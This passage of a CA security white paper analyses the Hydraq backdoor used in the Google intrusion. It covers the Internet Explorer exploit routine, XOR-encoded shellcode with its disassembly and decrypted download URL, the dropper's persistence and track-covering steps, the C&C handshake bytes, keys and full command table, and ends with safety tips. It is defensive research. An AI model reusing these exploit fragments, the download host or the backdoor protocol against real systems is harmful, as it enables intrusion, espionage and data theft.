function ev2()
p="\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\
u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0
d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0
c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d"
for(i=0;i<x1.length;i++){x1[i].data=p;};
var t=e1.srcElement;
[Listing 02 - JS/Hydraq IE exploit routine]
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
1.4 Hydraq Binary Shellcode
As shown in Listing 01, Hydraq binary shellcode is u% encoded. A simple bitwise XOR encryption
and 0xD8 as the key, will reveal the hidden instruction.
<html><script> var
sc=unescape("%u9090%u19eb%u4b5b%u3
390%u90c9%u7b80%ue901%u0175%u66c3%
01012475 > $ 90
01012476
. 90
01012477
. EB 19
01012479
$ 5B
0101247A
. 4B
0101247B
. 90
0101247C
. 33C9
0101247E
. 90
0101247F
. 807B 01 E9
01012483
. 75 01
01012485
. C3
01012486
> 66:B9 7B04
0101248A
> 80340B D8
0101248E
.^E2 FA
01012490
. EB 05
01012492
> E8 E2FFFFFF
JMP SHORT calc.01012492
POP EBX
DEC EBX
XOR ECX,ECX
CMP BYTE PTR DS:[EBX+1],0E9
JNZ SHORT calc.01012486
RETN
MOV CX,47B
XOR BYTE PTR DS:[EBX+ECX],0D8
LOOPD SHORT calc.0101248A
JMP SHORT calc.01012497
CALL calc.01012479
[Listing 03 - The shellcode is injected to calc.exe for this analysis]
A quick string inspection of the decrypted code shows that it contains Win32/Hydraq installer
location, as shown below:
00000440:
00000450:
00000460:
74 57 66 0D-FF 43 BE AC-DB 98 0A 10-F8 80 D6 AF
9A FB 53 15-66 68 74 74-70 3A 2F 2F-64 65 6D 6F
31 2E 66 74-70 61 63 63-65 73 73 2E-63 63 2F BC
tWf?
fhttp://demo
1.ftpaccess.cc/+
[Listing 04 - Decrypted strings from shellcode]
Hydraq shellcode contains instructions that will download encrypted file from the internet. The
encrypted file is Hydraq
s installer which is stored at %Document and Settings%\<username>\Application Data\a.exe
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
Shellcode APIs
shell32.SHGetSpecialFolderPathA //
urlmon.URLDownloadToFileA
...kernel32.CreateFileA
Once downloaded, it decrypts the file a.exe by performing a bitwise
XOR operation using 0x95 as its key; it skips bytes equal to 0x95 and
0x00.
...kernel32.GetFileSize
// decrypt downloaded file
...kernel32.CreateFileA
...kernel32.SetFilePointer
...kernel32.ReadFile
...kernel32.WriteFile
...kernel32.CloseHandle
...kernel32.CloseHandle
...kernel32.DeleteFileA
...kernel32.MultiByteToWideChar
The decrypted file is saved to b.exe in the same directory and the file a.exe
is deleted to avoid discovery.
// Install Win32/Hydraq dropper
kernel32.CreateProcessInternalW
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
2. How Hackers Maintain Access
Once the exploit attack is successful, the attacker will attempt to install a backdoor to maintain
access. In this case, the downloaded executable from the internet is a dropper component of
Hydraq (Win32/Hydraq dropper).
The Win32/Hydraq dropper is responsible for the installation of the DLL component, which contains all the features and functionalities for Hydraq
s remote attacker. (see Appendix A for other
variants methods of installation)
2.1 Win32/Hydraq (EXE) Dropper: Generating Random Service
2.1.1 Method of Installation
1. Upon execution, Win32/Hydraq dropper generates a random service name in the following format:
Ups<3 random characters>
2. It drops the DLL component from its resource to %System%\Rasmon.dll.
3. It adds the generated service name to the registry entry below:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost\SysIns
4. It then creates and starts a service with the following characteristics detailed below. This
enables the DLL component to be executed under the context of the generic host process, Svchost.exe.
ServiceName = "Ups<3 random characters>"
DesiredAccess = SERVICE_ALL_ACCESS
ServiceType = SERVICE_WIN32_SHARE_PROCESS
StartType = SERVICE_AUTO_START
ErrorControl = SERVICE_ERROR_NORMAL
BinaryPathName = "%SystemRoot%\System32\svchost.exe -k SysIns"
2.1.2 Deleting Traces of Installation
1. Win32/Hydraq dropper
s job is to install the DLL component and remove its installation
traces in the registry to avoid forensic discovery. The data added in the registry key below is deleted:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost\SysIns
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
2. Furthermore, as part of clearing its traces on a compromised system, the dropper component creates and executes a batch file in %Windows%\DFS.bat. Its primary goal is to delete
the Win32/Hydraq dropper file (b.exe).
2.2 Win32/Hydraq (DLL) Backdoor: Method of Installation
2.2.1 Method of Installation
Once the 
Ups<3 random characters>
 service starts to execute, it will run Win32/Hydraq
DLL under the generic host process, Svchost.exe. The DLL component will then perform the following actions:
1. It checks the service name it is running on. It performs a case sensitive comparison on
the first three characters of the service name 
. If it is not the same, it stops the
service operation and deletes the current service. It then registers a new service name in
the following format: 
<random 4 characters>
This behavior suggests that Win32/Hydraq DLL changes its service name every time an infected
system is rebooted, or the service is restarted. The malware will never have a service name
starting with 
 due to the fact that it generates a service name starting with 
 (Take
note of the case sensitive comparison).
2. The DLL component creates a service with the following characteristics:
ErrorControl: SERVICE_ERROR_IGNORE
Start: SERVICE_AUTO_START
Type: SERVICE_WIN32_SHARE_PROCESS
ImagePath: %SystemRoot%\System32\svchost.exe -k netsvcs
3. Similar to the Win32/Hydraq dropper, the DLL component takes advantage of the available
privileges running under the context of trusted Windows system processes. It adds the following registry entry as a parameter to the newly created service.
HKLM\SYSTEM\CurrentControlSet\Services\RaS<4 random
acters>\Parameters\ServiceDll = %system%\Rasmon.dll
char-
4. In addition, the DLL component also adds an entry of its service name in the following registry entry below.
HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersions\Svchost\netsvcs
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
3. Cyber Spy In Control
3.1 Initialization of the Backdoor Configuration
The attackers behind Hydraq maintain access by installing the Win32/Hydraq DLL component.
Once installed, the backdoor will start to initialize the configuration needed to perform its functionalities.
The configuration file is encrypted and stored in the resource section of the DLL file. To decode
it, Win32/Hydraq DLL employs the following steps:
1. Decryption using bitwise XOR with 0x99 as the key.
2. Customized character decoding (see Appendix C).
3. Decryption using bitwise XOR with 0xAB as the key.
Take note that some variants of Hydraq do not store the configuration in the resource file. These
variants reference the registry entry HKLM\Software\Sun\1.1.2\AppleTlk for the remote
connection information. The data found in the key can be decoded using the customized character decoding logic as specified (see Appendix C).
3.1.1 Using an Interactive Service
The Win32/Hydraq DLL backdoor component is installed and running under the context of
Svchost.exe, which is a system process. This service is non-interactive and cannot interact with
the user or access GUI objects. To enable the interactive service, the backdoor will perform the
following:
1. Assign the default desktop object to the Win32/Hydraq DLL thread.
2. Assign the winstat0 window station to the Win32/Hydraq DLL process.
These actions enable access to GUI objects.
3.2 Command and Control
Win32/Hydraq contains an encoded backdoor configuration in the file
s resource section. Once decoded it uses this information to communicate with the Command and Control (C&C) server.
The first information accessed in the configuration is the C&C server hostname, which can be
found at offset 0x00 until the null delimiter.
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
[Listing 05 - Win32/Hydraq decoded resource]
3.3 Backdoor Configuration: Resource Section and Registry Key
The Win32/Hydraq backdoor configuration determines the parameters to enable the remote attacker recognize and gain control of the affected system. The configuration is stored in the: File
Resource Section, and/or in a Registry Key.
3.3.1 File
s Resource Section
As shown in Listing 05, the Win32/Hydraq backdoor configuration is stored in the resource section
of the file. It retrieves the specified hostname, and attempts to establish a remote connection.
However, to perform this task, the backdoor needs to resolve the specified hostname. Based on
the code, the backdoor checks the hostname IP address if it is a valid IPv4 Internet address (for
example, 111.222.123.111). If it is not, it will retrieve the hostname IP address using an available DNS.
The backdoor connects to 168.95.1.1 using port 53 as an alternate DNS to resolve the server
address. This stand-by solution is only valid in the next 5 minutes from the time the backdoor accesses the alternate DNS server.
3.3.2 In the Registry Key
The backdoor also checks the registry key HKLM\Software\Sun\1.1.2\AppleTlk. The value
contained in this key is encoded information about the remote connection details.
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
If the registry key exist, it will decode the value using the following steps:
Perform a bitwise XOR with 0x99 as the key on each byte.
Perform the same custom decoding logic it used in the configuration found in file
s resource
section.
The updated configuration is always stored in the registry. The backdoor will then retrieve the
specified hostname and alternate DNS to establish a remote connection. It checks the hostname
IP Address if it is a valid IPv4 Internet address. If it is not, it retrieves the hostname IP address using an available DNS. If the backdoor cannot resolve the hostname IP address, it will sleep for two
minutes and attempt to resolve the IP address using an available DNS again (see Listing 06).
If the registry key HKLM\Software\Sun\1.1.2\ does not exist, the backdoor continues the connection using the configuration specified from the backdoor resource section. Take note that the
priority configuration used is always from the registry key next is the configuration from the resource.
[Listing 06 - Win32/Hydraq reconnects after 2 minutes]
3.4 Backdoor Communication Protocol 0x00: Establishing Communication
In the context of discussing the backdoor functionalities, we will refer to the following terms as
follows:
Client or remote server - is defined as the remote attacker.
Server - is defined as the system where the Win32/Hydraq backdoor is installed.
As soon as the server
s IP address is resolved, the server attempts to initiate a connection to the
client and a 3-way handshake process is performed:
3.4.1 SYNchronize
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
The client sends a custom SYNchronize packet containing the following 20 bytes as initial handshake.
FF FF FF FF FF FF 00 00 FE FF FF FF FF FF FF FF FF FF 88 FF
The set of bytes above are encrypted using a bitwise NOT operation. Thus, the raw set of bytes is
the following:
00 00 00 00 00 00 FF FF 01 00 00 00 00 00 00 00 00 00 77 00
As shown in Listing 07, the Win32/Hydraq backdoor
code includes a routine that constructs the 20 byte
SYNchronization packet that is sent to the client.
The initial handshake was captured during a test
simulation performed in a controlled environment as
shown in Appendix B. The backdoor uses port 443
to connect to the server. Port 443 is the known default
port for the HTTPS protocol.
However, in this case, the Win32/Hydraq backdoor did
not take advantage of the available SSL/TLS encryption to secure its communication to the client. The information contained in the packet is evidently showing
the set of bytes constructed by the malware.
3.4.2 SYNchronize-ACKnowledgement
[Listing 07 - Constructing Initial Handshake routine ]
The client will identify the initial SYN packet sent by the server. If valid, the client will respond a
SYNchronize ACKnowledgement packet 20 bytes in size. The sets of bytes are encrypted using a
bitwise XOR with 0xCC as the key.
CC CC CC CC CD CC CC CC CD CC CC CC CC CC CC CC AA AA AA AA
[Listing 08 - Acknowledgment data decryption routine ]
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
The server will validate the SYN-ACK packet from the client expecting the following decrypted values:
00 00 00 00
01 00 00 00
01 00 00 00
00 00 00 00
00 00 00 00
Take note that,
Offset 0x00 must be equal to 0x0000
Offset 0x04 must be equal to 0x0001
Offset 0x08 must be equal to 0x0001
Offset 0x0C must be equal to 0x0000
3.4.3 ACKnowledge
Once the server receives the expected SYN-ACK
packet, it will respond by sending an ACKnowledgement
of receipt. The following tasks are performed:
a. Collect the following information from the compromised system.
Computer name
CPU clock speed
Memory status 
 specifically gets the amount of actual physical memory in bytes and converts it to megabytes.
Operating system information
[ Listing 09 - Collected system information ]
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
b. Encrypt the information collected using a custom encryption were the key used is derived from
the result of GetTickCount API. The encrypted data will be encrypted again using a bitwise NOT.
c. Generate a CRC hash value of the encrypted information.
d. Send the collected information to the client.
Header Information
Encrypted Information collected in the system
[Listing 10 - Constructed message from the server]
[Listing 11 - Captured packet received by the client]
The server is now ready to accept backdoor commands from the remote attacker.
The complete 3-way handshake process between the backdoor server and the client will look like
this:
[Listing 12 - The backdoor 3-way handshake process]
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
3.5 Backdoor Communication Protocol 0x01: Execution of Client-Server Commands
During the 3-way handshake process, we discovered that the Win32/Hydraq backdoor constructs a
custom packet. This is a communication protocol designed so that the client and server can recognize each other over the network. The information header format is different from each end point.
3.5.1 Client
s Information Header Format
[Figure 1 - The client process the server information header.]
The constructed information header is 20 bytes in size in the following format: (Note: The values in
Table 01 are for illustration purpose only)
Client Command
Reference (DWORD)
00 00 00 00
Task
(DWORD)
Start / End
Size of Data
Flag (DWORD) sent (DWORD)
02 00 00 00 01 00 00 00 B0 00 00 00
Data
Data
Encryption Key
(WORD)
(WORD)
75 53
A1 00
[Table 01 - Client
s Information Header Format]
The client
s Command Reference and Task will be discussed in the section 
Backdoor Command
Reference
. It is important to take note that the information from the server is encrypted using a
bitwise NOT, while the information from the client is encrypted using a bitwise XOR with 0xCC as
the key. (see Listing 12)
Fields
Offset
Description
Client Command Reference
0x00
This field is a reference used for identifying the
group of a specific backdoor command.
Task
0x04
This field contains the code used to identify which
backdoor instruction to execute.
Start / End
0x08
This field is a flag that signals the receiver start (1)
or end (-1) of data.
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
Fields
Offset
Description
Data Size
0x0C
This field contains the size of the encrypted data
included in transmission.
Data CRC
0x10
A CRC value computed based on the encrypted
data. This field is used for integrity checking of the
encrypted data.
Data Encryption
0x12
It is a word value used as the decryption key for
the encrypted data. This field is used to preserve
the confidentiality of the encrypted data.
Encrypted Data
0x14
This offset contains the encrypted data being
transmitted to the client or server.
[Table 02 - Information Header Definition]
3.5.2 Server
s Information Header Format
[Figure 02 - The client process the server information header.]
The constructed information header is 20 bytes in size with the following format. (Note: The values
in Table 03 are for illustration purpose)
Server Information
Reference (DWORD)
00 00 00 00
Server
Information
Code
(DWORD)
Start / End
Size of Data
Flag (DWORD) sent (DWORD)
02 00 00 00 01 00 00 00 B0 00 00 00
Data
Data
Encryption Key
(WORD)
(WORD)
75 53
A1 00
[Table 03 - Server's Information Header Format]
The difference between the client and server header information is the Server Info Reference (offset 0x00) and Information Code (offset 0x04). Based on our simulation and code inspection, the
backdoor client uses the following numeric codes to identify the content of the received information: (Note: The Backdoor Command and Task is discussed in section Backdoor Command Table)
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
Server
Information
Reference
Server
Backdoor
Information Code
Task
(expected values) Command
Type of Information
Note: The client expects the
following action or information
below from the server.
0x00
0x03
0x02
0x00
Receive arbitrary file
0x00
0x04
0x04
0x08
Write received data to file
0x00
0x05
0x04
0x09
Read file information
0x00
0x06
0x07
0x0B
Receive VedioDriver
0x02
0x00
0x00
0x00
Process list
0x02
0x01
0x00
0x01
Terminated process
0x03
0x00
0x01
0x00
Service list
0x05
0x00
0x03
0x00
Enumerated registry keys
0x05
0x01
0x03
0x01
Registry keys
0x05
0x02
0x03
0x02
Deleted registry info
0x05
0x06
0x03
0x06
Deleted key info
0x06
0x00
0x04
0x00
Logical drive info
0x06
0x01
0x04
0x01
Searched file information
0x06
0x07
0x04
0x07
Filenames in a directory
0x08
0x06
0x05
0x06
File CRC
0x09
0x01
0x06
0x01
File information
0x09
0x02
0x06
0x02
Header only
0x0C
0x02
0x08
0x00
Header only
0x14
0x04
0x09
0x01
Network.ics
[Table 04 - Server Information Header Definition]
3.6 Backdoor Command Reference
Aside from the malware code obfuscated with JMPs and NOPs, Win32/Hydraq also constructs a
reference table that will be used by the Command Reference field found in the client
s information header to convert the actual commands.
Once the server receives a packet from the client, it performs the following task to convert the
client
s Command Reference value:
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
1. Perform a bitwise XOR with 0xCC as the key in
Command Reference
Backdoor Command
the information transmitted.
2. The value in the Command Reference field will
be added with negative two (-2).
3. Match the value obtained in Step 2 in the Table
05 to get the Actual Command.
0x00
0x00
0x01
0x01
0x02
0x02
0x03
0x03
0x04
0x04
To elaborate on this further, let
s take an example
where the remote attacker requests information
about the logical drive of the compromised system.
0x05
0x0A
0x06
0x05
0x07
0x06
0x08
0x07
In Table 05, the Command Reference for retrieving
the logical drive is Command 0x04. (see Table 06
0x09
0x0A
0x0A
0x08
for Backdoor Command and Task reference)
0x0B
0x0A
0x0C
0x0A
0x0D
0x0A
0x0E
0x0A
0x0F
0x0A
0x10
0x0A
0x11
0x0A
0x12
0x09
In this example, the Command Reference is CA CC
CC CC, and the Task Number is CC CC CC CC.
Converting the correct instruction to execute:
1.0xCCCCCCCA XOR 0xCCCCCCCC = 6
2.6 + (-2) = 4
[Table 05 - Backdoor Command Reference]
3. Resulting match:
Command Reference
Backdoor Command
0x04
0x04
Listing 13 displays the captured communication between the client and server retrieving the logical drive information of the compromised system.
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
[Listing 13 - Captured client server communication ]
3.7 Backdoor Command Table
The Win32/Hydraq backdoor features 10 command switches, which theoretically allow the remote attacker to perform almost everything. An attacker can manipulate files, registries, services, process, privileges, search files and directories, remote download, update configurations,
open applications, and steal any desired information. Attackers can initiate real-time graphical
control and watch a user
s desktop using Command 0x07 Task 0x0b (see Appendix D for
discussion of acelpvc.dll and VedioDriver.dll installation).
Backdoor
Task
Description
Command
Command 0x00 Task 0x00
Adjust Token Privilege / Access Privilege Escalation and Enumerate
Process.
Task 0x01
Terminate Process
Other value
(Task 0x02 or more)
Receive further commands.
Command 0x01 Task 0x00
Enumerate service configuration and sends back to the client.
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
Command 0x01
Task 0x01
Modify or change service configuration.
Predefined Start type: 2-SERVICE_AUTO_START, 3SERVICE_DEMAND_START, 4-SERVICE_DISABLED
Task 0x02
Start or stop a service.
Task 0x03
Delete a service.
Other value
(Task 0x04 or more)
Receive further commands.
Command 0x02 Task 0x00
Execute a new thread to perform the following:
1. Connect to a client.
2. Downloads an arbitrary file.
3. Save it as %Temp%\mdm.exe
4. Execute the downloaded file, else delete the file.
Other value
(Task 0x01 or more)
Command 0x03 Task 0x00
Task 0x01
Receive further commands.
Enumerate sub keys of a registry key and send the information
back to the client.
Enumerate values of a registry key and send the information back
to the client.
Task 0x02
Delete registry values and send back the deleted information to
remote server
Task 0x03
Delete registry keys with conditions. The conditions are based on
the value of specified registry key.
Task 0x04
Set registry values with conditions. The conditions are based on the
value of specified registry key.
Task 0x05
Set registry values without conditions.
Task 0x06
Delete registry keys and send the deleted information back to the
remote server.
Task 0x07
Create registry entries with conditions. (Create, set registry value or
delete registry key) . The condition is based on the value of
specified registry key.
Task 0x08
Create registry keys without condition.
Other value
(Task 0x09 or more)
Receive further commands.
Command 0x04 Task 0x00
Retrieve information about all logical drives, volume information,
disk space and drive type. Sends the gathered information to the
client.
Task 0x01
Checks if a file exists.
Task 0x02
Execute or open a file.
Task 0x03
Copy the file to another location.
Task 0x04
Delete a directory or file.
Task 0x05
Move a file location.
Task 0x06
Modify file attributes.
Task 0x07
Search directory and send all filenames to client.
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
Task 0x08
Create a thread to perform the following:
1. Create a client specified file.
2. Connect to a client
3. Receive data to be used as file content.
4. Write data to file
Task 0x09
Create a thread to perform the following:
1. Get the CRC hash value of the specified file
2. Retrieve the value in the registry key HKLM\Software\Sun\IsoTp
3. Send the data to the client
4. Read the specified file content
5. Send the data to the client
Other value
(Task 0x0a or more)
Receive further commands.
Command 0x05 Task 0x00
There is no routine for Task 00.
Task 0x01
Force shutdown of the system.
Task 0x02
Force reboot of the system.
Task 0x03
Delete the current malware registry service. It verifies and removes
the registry key if the service name is registered in HKLM
\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost
\netsvc.
Move the file %Temp%\c_1758.nls to another directory.
Task 0x04
There is no routine for Task 04.
Task 0x05
Clears the 
Application
 event logs.
Task 0x06
Get file size and CRC value, then send back to the remote server.
Task 0x07
There is no routine for Task 07.
Task 0x08
Modify registry configuration 
AppleTlk
 found in HKLM\Software
\Sun\1.1.2 information based on decrypted resource file.
Task 0x09
Modify registry configuration 
IsoTp
 found in HKLM\Software\Sun
\1.1.2, information based on decrypted resource file.
Other value
(Task 0x0a or more)
Command 0x06 Task 0x00
Task 0x01
Receive further commands.
There is no routine for Task 00.
Create a thread to perform the following:
1. Search file with conditions (date time created).
2. Send file to remote server
Task 0x02
Sends header data with the following values:
9 0 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 XX
0x00 = 0x0009; 0x04 = 0x0002; 0x08 = 0x0000; 0x0C = 0x0000;
0x10 = 0x00 0x12 = 0xXX (encryption key)
Other value
(Task 0x03 or more)
Command 0x07 Task 0x00 - 0x0a
Receive further commands.
Receive further commands.
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
Command 0x07
Task 0x0b
Create a thread to perform the following:
1. Load the library file %system%\acelpvc.dll.
2. Check for the presence of %system%\VedioDriver.dll. If not
found, download the file from the server and modify the time
attributes to be the same as legitimate system file.
Other value
(Task 0x0c or more)
Command 0x08 Task 0x00
Receive further commands.
Sends header data in this format:
C 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 XX
0x00 = 0x000C; 0x04 = 0x0000; 0x08 = 0x1000; 0x0C = 0x0000;
0x10 = 0x00 0x12 = 0xXX (encryption key)
Other value
(Task 0x01 or more)
Command 0x09 Task 0x00
Task 0x01
Receive further commands.
There is no routine for Task 00.
Read the information in the file %system%\drivers\etc\networks.ics
and send the content to the remote server.
Task 0x02
Delete the file %system%\drivers\etc\network.ics.
Other value
(Task 0x03 or more)
Receive further commands.
[Table 06 - Backdoor Command and Task Descriptions]
3.9 Backdoor Commands In Action
Primary goal of the attackers was accessing the Gmail accounts of Chinese human rights activist
- statement published in a Google blog post entitled 
A new approach to China
Malware designed for spying and obtaining sensitive information must have the following offensive
capabilities:
1. Probing - the act of searching, exploring, and investigating.
2. Exfiltration of sensitive information.
3. Surveillance - the ability to capture images, audio and/or video.
4. Covert Communication Channel - is a hidden communication embedded into the header and/
or payload of an overt communication channel to avoid discovery of on-going attacks over the
network.
5. Covering Tracks - the ability to stay undetected and avoid forensic discovery.
s summarize and see what we have learned and discovered from Hydraq
s code.
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
3.9.1 Probing and exfiltration of sensitive information
The Windows Registry is the heart of the Windows Operating System. It stores users profile, installed applications, privileges for applications and folders, hardware profiles, current logged-on
information, mounted devices, the MRU list, wireless network information, LAN computers and
passwords [10].
Using Command 0x03 Task 0x00 and Task 0x01, a remote attacker using Hydraq can substantially extract useful information from Windows Registry.
Command 0x03
Task 0x00
Enumerate sub keys of a registry key and send the information back to
the client.
Task 0x01
Enumerate values of a registry key and send the information back to the client.
Using Command 0x01 Task 0x00, a remote attacker using Hydraq can find out the services that
are available on the compromised system. Windows services display what type of connections is
available that attackers can take advantage of to administer further attacks.
Command 0x01
Task 0x00
Enumerate service configuration and sends back to the client.
Using Command 0x04 Task 0x00, a remote attacker using Hydraq can determine all logical
drives and if the disk drive is a removable, fixed, CD-ROM, or network drive. (see Backdoor Command Reference Listing 13 for the captured communication of client-server)
The attacker can then execute Command 0x04 Task 0x07 to search a directory or Command
0x06 Task 0x01 to search a file.
Command 0x04
Task 0x00
Retrieves information about all logical drives, volume information, disk space
and drive type. It then sends the gathered information to the client.
Command 0x06
Task 0x07
Searches the directory and sends all filenames to client.
Task 0x01
Creates a thread to perform the following:
1. Search a file with conditions (date time created).
2. Send the file to remote server
Through Command 0x03, a remote attacker using Hydraq can manipulate the registry and use
Command 0x05 Task 09 to store and update gathered information. Command 04 Task 09
retrieves the stored information and assures the integrity of the file sent to remote attacker.
The backdoor can retrieve any file and information at anytime using Command 0x06 Task 01.
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
Hydraq reads the contents of network.ics using Command 0x09 Task 0x01. Network.ics contains information including network name and number mapping for local area network.
Command 0x09
Task 0x01
Reads 616 bytes (0x268) of information stored in the file %system%\drivers
\etc\networks.ics and sends the content to the remote server.
The attacker can manipulate the routing table to redirect traffic to the compromised system. The
Command 0x04 Task 0x02 can be used to open or execute a file or program, and Command
0x04 Task 0x08 can be use to update network.ics content.
Thus, it can perform a man-in-the-middle attack, where attacker can intercept traffic and capture
information.
3.9.2 Surveillance
Hydraq probing capabilities can determine whether the compromised machine has audio/video enabled applications and devices (for example instant messengers and webcam connection). The
attacker can use available application and devices to capture images, voice and video for surveillance.
However, as discussed earlier, Hydraq can also initiate a real-time graphical control and watch a
user
s desktop using Command 0x07 Task 0x0B (see Appendix D for discussion of acelpvc.dll
and VedioDriver.dll installation).
3.9.3 Covert Communication
As discussed, Hydraq
s client-server uses port 443 as an overt communication channel1 (see
Backdoor Communication Protocol) and embeds a custom header (see Appendix B showing the
initial handshake header) to avoid discovery of on-going attacks over the network.
3.9.4 Covering Tracks
Covering tracks is important in hacking. It extends or allows the attacker to stay undetected for a
long period of time. It also removes evidence of hacking and lessens the chances of identification.
If Hydraq can escalate privileges it can also adjust them; if it can execute and run any program/
application, it can terminate it. It can remove its traces in services, registry, file/s, folder/s, change
file attributes and move file/s into different locations. It can also force shutdowns or reboot the system, which can remove valuable traces in memory to avoid digital forensics discovery.
Furthermore, in Command 0x04 Task 0x02 the remote attacker can clear Application Event
logs.
1 Overt channel is any communication path for the authorized data transmission within a computer system or network. HTTP
and HTTP SSL is an overt channel.
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
Command 0x05
Task 0x05
Clears the 
Application
 event logs.
3.9.5 Expandable Features
In Command 0x02 Task 0x00, the remote attacker can download and execute arbitrary files
onto compromised systems, and it can adjust process token privileges using Command 0x00
Task 0x00. This sets of commands further expands the capability of the attacks.
Command 0x02 Task 0x00
Execute a new thread to perform the following:
1. Connect to the client.
2. Downloads an arbitrary file.
3. Save it as %Temp%\mdm.exe
4. Execute the downloaded file, else delete the file.
Command 0x00
Task 0x00
Adjust Token Privilege / Access Privilege Escalation and Enumerate Process.
The backdoor configuration that is stored in the registry can be updated using Command 05 Task
0x08. This means that the remote attacker can modify and change the connection details at anytime.
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
Summary
The discovery of Hydraq allowed us to explore and understand the underlying features of a highly
sophisticated means of attack. It takes time, organization, skill, and resources to successfully deploy coordinated attacks against high profile infrastructures such as Google.
Clearly, the increasing wealth of information stored in the cloud2 is becoming an attractive target.
The emerging world of cyberspace is now at war against cybercriminals and those conducting cyberwarfare [7] [8]. Sophisticated attacks exploiting unknown software vulnerabilities as means of entry point provides an advantage for attackers to silently infiltrate and perform various forms of spying including the ability to deploy video and audio surveillance, and the probing and stealing of
sensitive desired information. Hydraq
s communication protocol is carefully crafted and researched making it difficult to detect and recognize an on-going attack over the network. The level
of detail of the backdoor commands allow a remote attacker to perform the necessary tasks using
a smaller resource footprint.
In conclusion, the emergence of this type of sophisticated offensive capability will continue to pose
challenges for cyberspace security defenses. By exposing the intricate details of Hydraq, we hope
to assist and contribute to overall cyber security learning and awareness.
2 Cloud refers to services accessed and stored on the internet cloud. Take note, Google disclosed
that attackers accessed
two Gmail accounts of Chinese human rights activist. [1]
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
Safe Computing Habits
With the proliferation of Web-based attacks vector and the increase in global Internet usage, it is
more important than ever to be cautious to ensure safety online. Security is a process. To be secure, you must be aware, apply the right technology, understand your daily computing activity and
identify the amount of information or data you want to secure.
Let the Technology Work For You
Here are some easy steps and reminder to ensure that your CA security products provides optimal
protection for you.
1. Your security scanner must be always turned on and up-to-date with the latest signature. Realtime scanning protects you from possible infection that you may get from compromised Websites, network shares, email and flash drives.
2. Turn on your firewall. Your firewall provides a different layer of security that guards you from
network attacks and blocks unauthorized access to your machine. A firewall with real-time malware behavior intrusion detection could prevent or lessen the impact of malware infection.
3. Turn on Data Execution Prevention (DEP). This feature is available in Windows XP SP3, Windows Server 2003, Windows Server 2008, Windows Vista and Windows 7. Refer Microsoft instruction on how to configure memory protection in Windows XP SP 2 at
http://technet.microsoft.com/en-us/library/cc700810.aspx
4. Increase your browser security settings. You can refer CERT Web browser security tips at
http://www.cert.org/tech_tips/securing_browser
Be Security-Aware
1. Do NOT open email from people you don
t know. Think twice and verify before clicking a URL or
open an attachment. Don
t be click happy! All it takes is a moment of inattention.
2. Implement strong password. Refer to these Microsoft Tips for creating a strong password:
http://www.microsoft.com/protect/yourself/password/create.mspx
3. When conducting online banking or financial transaction, make sure your browser connection is
secure.
4. Encrypt online communication and confidential data.
5. Back up your important data. Keep a copy of all your files and store them separately.
6. Be cautious about instant messaging. Avoid chatting with people you don
t know, especially if
they ask for personal information such as photos or want you to do something for them.
7. Protect your identity while enjoying online social networking activities. Be wary of clicking links or
suspicious profiles. Double-check the integrity of the connection or friend request before adding
anyone to your network. Avoid installing extras such as third-party applications; they may lead to
malware infection, or attackers could use them to steal your identity.
8. Avoid piracy by downloading from secure sources.
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
9. Avoid threats that use social engineering techniques by checking user feedback about a Web
site before visiting it, and reader feedback about an application before installing it.
10. If you are using Adobe PDF Reader, prevent your default browser from automatically opening
PDF document. Refer to our CA Security Advisor research blog entry at
http://community.ca.com/blogs/securityadvisor/archive/2009/02/24/attackers-love-zero-day.asp
11. Check for and install security updates regularly.
12. Be careful with search engine results. Read them carefully and check to ensure that the content relates to your subject before clicking the Web site link.
Make Internet computing safe report suspicious files and Web sites to virus@ca.com
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
Appendix A - Other variant method of installation
